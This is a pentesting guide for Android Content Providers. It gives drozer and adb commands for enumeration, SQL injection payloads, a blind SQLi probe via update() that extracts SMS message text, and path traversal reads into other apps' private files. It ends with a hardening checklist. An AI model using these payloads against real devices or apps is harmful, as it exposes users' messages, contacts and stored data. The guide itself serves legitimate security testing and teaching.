Android Content Provider Pentesting

A comprehensive guide for security testing Android Content Providers.

Overview

Content Providers are Android components that supply data from one application to others on request. They're a common attack surface in mobile pentesting due to misconfigurations like:

• Exported providers without proper permissions
• SQL injection in query/update/delete operations
• Path traversal in file-backed providers
• Missing writePermission declarations

Quick Start

1. Enumerate providers:

   run app.provider.info -a <package>

2. Find accessible URIs:

   run scanner.provider.finduris -a <package>

3. Test for vulnerabilities: SQL injection, path traversal, permission bypass

Enumeration

List all providers for a package

dz> run app.provider.info -a com.example.app

Key fields to check:

• Read Permission

  /

  Write Permission

  - null means no permission required

• Multiprocess Allowed

  - true increases attack surface

• Path Permissions

  - specific path-level restrictions

Red flags:

• Read Permission: null

  AND

  Write Permission: null

  = fully exposed

• Read Permission

  set but

  Write Permission: null

  = potential blind SQLi vector

• Multiprocess Allowed: True

  = cross-process attacks possible

Find accessible URIs

dz> run scanner.provider.finduris -a com.example.app

This attempts to query common URI patterns and reports which ones are accessible.

Note: Path

/Keys

vs

/Keys/

matters - developers often secure one but not the other.

Modern: Use

cmd content

(ADB ≥ 8.0)

No agent installation required:

adb shell cmd content query --uri content://com.example.provider/path/
adb shell cmd content update --uri content://com.example.provider/path/1 --bind price:d:1337
adb shell cmd content call --uri content://com.example.provider --method evilMethod --arg 'foo'

Database-Backed Providers

Query data

dz> run app.provider.query content://com.example.provider/path/ --vertical

Insert data

dz> run app.provider.insert content://com.example.provider/path/ \
  --bind column1:s:value1 \
  --bind column2:i:123

Type flags:

--string

,

--double

,

--float

,

--integer

,

--long

,

--short

,

--boolean

Update data

dz> run app.provider.update content://com.example.provider/path/ \
  --bind column1:s:newvalue \
  --where "id=1"

Delete data

dz> run app.provider.delete content://com.example.provider/path/ \
  --where "id=1"

SQL Injection Testing

Manual testing

# Test selection parameter
dz> run app.provider.query content://com.example.provider/path/ \
  --selection "'"

# Test projection parameter
dz> run app.provider.query content://com.example.provider/path/ \
  --projection "* FROM sqlite_master WHERE type='table';--"

Automatic detection

dz> run scanner.provider.injection -a com.example.app

List accessible tables

dz> run scanner.provider.sqltables -a com.example.app

Blind SQLi via update()

When

writePermission

is omitted but

update()

is callable, you can exfiltrate data from co-located tables using a blind boolean oracle.

Discovery:

1. Check for providers with

   readPermission

   set but

   writePermission: null

2. Confirm

   update()

   is implemented
3. Verify target table exists in same DB via

   sqlite_master

Probe example:

adb shell cmd content update \
  --uri content://service-number/service_number \
  --bind rowid:s:123 \
  --where '1=1 AND unicode(substr((SELECT body FROM sms ORDER BY rowid DESC LIMIT 1),1,1)) BETWEEN 48 AND 57'

TRUE if update() > 0 or UNIQUE constraint exception thrown.

Use the

scripts/blind_sqli_extractor.py

script for automated extraction.

File System-Backed Providers

Read files

dz> run app.provider.read content://com.example.provider/path/to/file

Path traversal testing

dz> run app.provider.read content://com.example.provider/../../../etc/hosts

Automatic detection

dz> run scanner.provider.traversal -a com.example.app

Modern Tooling (2023-2025)

Drozer 3.x

pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk

New modules:

• scanner.provider.exported

  - list only exported providers

• app.provider.grant

  - handle FLAG_GRANT_URI_PERMISSION on Android 12+
• Better Scoped Storage handling for Android 11+

Grant URI permissions (Android 12+)

dz> run app.provider.grant -a com.example.app -u content://com.example.provider/path

Common Vulnerabilities

writePermission omission

When a provider has

readPermission

but no

writePermission

, any app can call insert/update/delete. Combined with SQL injection in update(), this enables blind data exfiltration from co-located tables.

Real-world examples:

• content://service-number/service_number

• content://push-mms/push

• content://push-shop/push_shop

Path traversal in openFile()

CVE-2024-43089 and CVE-2023-35670 show path traversal in MediaProvider's openFile() method.

adb shell cmd content read \
  --uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml

Co-location attacks

Sensitive tables (SMS, contacts, etc.) in the same SQLite database as a vulnerable provider can be accessed via blind SQLi even if they have privileged read permissions.

Hardening Checklist

• Set

  android:exported="false"

  unless the provider must be public (mandatory from API 31)
• Declare both

  readPermission

  and

  writePermission

• Use

  SQLiteQueryBuilder

  with projection maps
• Canonicalize paths in

  openFile()

  to prevent traversal
• Keep sensitive tables in separate databases
• Use

  FileProvider

  or Storage Access Framework for file exposure

Workflow Summary

1. Enumerate:

   app.provider.info

   +

   scanner.provider.finduris

2. Classify: Database-backed vs file-backed
3. Test permissions: Check for null writePermission
4. Exploit: SQL injection, path traversal, blind exfiltration
5. Verify: Use

   scanner.provider.injection

   and

   scanner.provider.traversal

References

• Drozer 3.1.0 Release
• Android Content Provider Docs
• CVE-2024-43089
• ManifestSecurity: Content Providers